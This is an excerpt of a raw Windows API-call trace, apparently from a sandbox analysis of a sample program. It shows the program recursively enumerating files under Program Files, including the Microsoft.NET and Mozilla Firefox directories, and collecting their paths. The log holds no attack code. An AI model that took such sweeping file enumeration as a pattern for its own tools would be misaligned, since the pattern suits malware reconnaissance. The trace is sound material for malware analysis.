[0041.565] lstrcpyW (in: lpString1=0x921b38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0041.565] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.565] lstrcmpW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0041.565] lstrcmpW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0041.566] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0041.566] lstrlenW (lpString="msdatasrc.dll") returned 13 [0041.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0041.566] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned 77 [0041.566] lstrcpyW (in: lpString1=0x921bf0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0041.566] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.566] lstrcmpW (lpString1="stdole.dll", lpString2=".") returned 1 [0041.566] lstrcmpW (lpString1="stdole.dll", lpString2="..") returned 1 [0041.566] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0041.566] lstrlenW (lpString="stdole.dll") returned 10 [0041.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0041.566] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned 74 [0041.566] lstrcpyW (in: lpString1=0x921c98, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0041.566] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.566] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.566] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.566] lstrcmpW (lpString1="RedistList", lpString2=".") returned 1 [0041.566] lstrcmpW (lpString1="RedistList", lpString2="..") returned 1 [0041.566] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0041.566] lstrlenW (lpString="RedistList") returned 10 [0041.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="RedistList" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0041.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0041.566] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0041.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0041.566] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.566] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.567] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.567] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.567] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.567] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.567] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0041.567] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0041.567] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0041.567] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0041.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0041.567] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73 [0041.567] lstrcpyW (in: lpString1=0x921d38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0041.567] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.567] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0041.567] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0041.567] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0041.567] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0041.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0041.567] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned 75 [0041.567] lstrcpyW (in: lpString1=0x921dd8, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0041.567] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.567] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.567] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.567] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.567] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.567] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0041.567] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0041.567] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.567] lstrlenW (lpString="Mozilla Firefox") returned 15 [0041.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox") returned="c:\\Program Files (x86)\\Mozilla Firefox" [0041.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\" [0041.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\*" [0041.567] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.567] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.568] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.568] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.568] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.568] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.568] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0041.568] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.568] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0041.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned 60 [0041.568] lstrcpyW (in: lpString1=0x921e90, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0041.568] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.568] lstrcmpW (lpString1="application.ini", lpString2=".") returned 1 [0041.568] lstrcmpW (lpString1="application.ini", lpString2="..") returned 1 [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.568] lstrlenW (lpString="application.ini") returned 15 [0041.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned 54 [0041.568] lstrcpyW (in: lpString1=0x9208d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0041.568] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.568] lstrcmpW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0041.568] lstrcmpW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.568] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0041.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned 59 [0041.568] lstrcpyW (in: lpString1=0x923e78, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0041.568] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.568] lstrcmpW (lpString1="browser", lpString2=".") returned 1 [0041.568] lstrcmpW (lpString1="browser", lpString2="..") returned 1 [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.568] lstrlenW (lpString="browser") returned 7 [0041.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="browser" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser" [0041.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\" [0041.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*" [0041.569] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.569] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.569] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.569] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.569] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.569] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.569] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0041.569] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0041.569] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.569] lstrlenW (lpString="blocklist.xml") returned 13 [0041.569] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0041.569] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60 [0041.569] lstrcpyW (in: lpString1=0x921f18, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0041.569] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.569] lstrcmpW (lpString1="chrome.manifest", lpString2=".") returned 1 [0041.569] lstrcmpW (lpString1="chrome.manifest", lpString2="..") returned 1 [0041.569] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.569] lstrlenW (lpString="chrome.manifest") returned 15 [0041.569] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0041.569] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62 [0041.569] lstrcpyW (in: lpString1=0x921fa0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0041.569] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.570] lstrcmpW (lpString1="components", lpString2=".") returned 1 [0041.570] lstrcmpW (lpString1="components", lpString2="..") returned 1 [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.570] lstrlenW (lpString="components") returned 10 [0041.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="components" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" [0041.570] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.570] lstrcmpW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0041.570] lstrcmpW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.570] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0041.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned 73 [0041.570] lstrcpyW (in: lpString1=0x923ef8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0041.570] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.570] lstrcmpW (lpString1="extensions", lpString2=".") returned 1 [0041.570] lstrcmpW (lpString1="extensions", lpString2="..") returned 1 [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.570] lstrlenW (lpString="extensions") returned 10 [0041.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="extensions" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" [0041.570] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.570] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0041.570] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.570] lstrlenW (lpString="omni.ja") returned 7 [0041.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned 54 [0041.570] lstrcpyW (in: lpString1=0x920948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0041.570] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.570] lstrcmpW (lpString1="searchplugins", lpString2=".") returned 1 [0041.570] lstrcmpW (lpString1="searchplugins", lpString2="..") returned 1 [0041.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0041.570] lstrlenW (lpString="searchplugins") returned 13 [0041.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="searchplugins" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" [0041.570] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.570] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.571] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.571] lstrcmpW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0041.571] lstrcmpW (lpString1="crashreporter.exe", lpString2="..") returned 1 [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.571] lstrlenW (lpString="crashreporter.exe") returned 17 [0041.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned 56 [0041.571] lstrcpyW (in: lpString1=0x923f98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0041.571] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.571] lstrcmpW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0041.571] lstrcmpW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.571] lstrlenW (lpString="crashreporter.ini") returned 17 [0041.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned 56 [0041.571] lstrcpyW (in: lpString1=0x924018, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0041.571] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.571] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0041.571] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.571] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0041.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned 57 [0041.571] lstrcpyW (in: lpString1=0x924098, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0041.571] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.571] lstrcmpW (lpString1="defaults", lpString2=".") returned 1 [0041.571] lstrcmpW (lpString1="defaults", lpString2="..") returned 1 [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.571] lstrlenW (lpString="defaults") returned 8 [0041.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="defaults" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0041.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\" [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0041.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*" [0041.571] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.571] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.571] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.571] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.571] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.571] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.571] lstrcmpW (lpString1="pref", lpString2=".") returned 1 [0041.571] lstrcmpW (lpString1="pref", lpString2="..") returned 1 [0041.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0041.571] lstrlenW (lpString="pref") returned 4 [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="pref" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" [0041.572] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.572] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.572] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.572] lstrcmpW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0041.572] lstrcmpW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.572] lstrlenW (lpString="dependentlibs.list") returned 18 [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned 57 [0041.572] lstrcpyW (in: lpString1=0x924118, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0041.572] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.572] lstrcmpW (lpString1="dictionaries", lpString2=".") returned 1 [0041.572] lstrcmpW (lpString1="dictionaries", lpString2="..") returned 1 [0041.572] 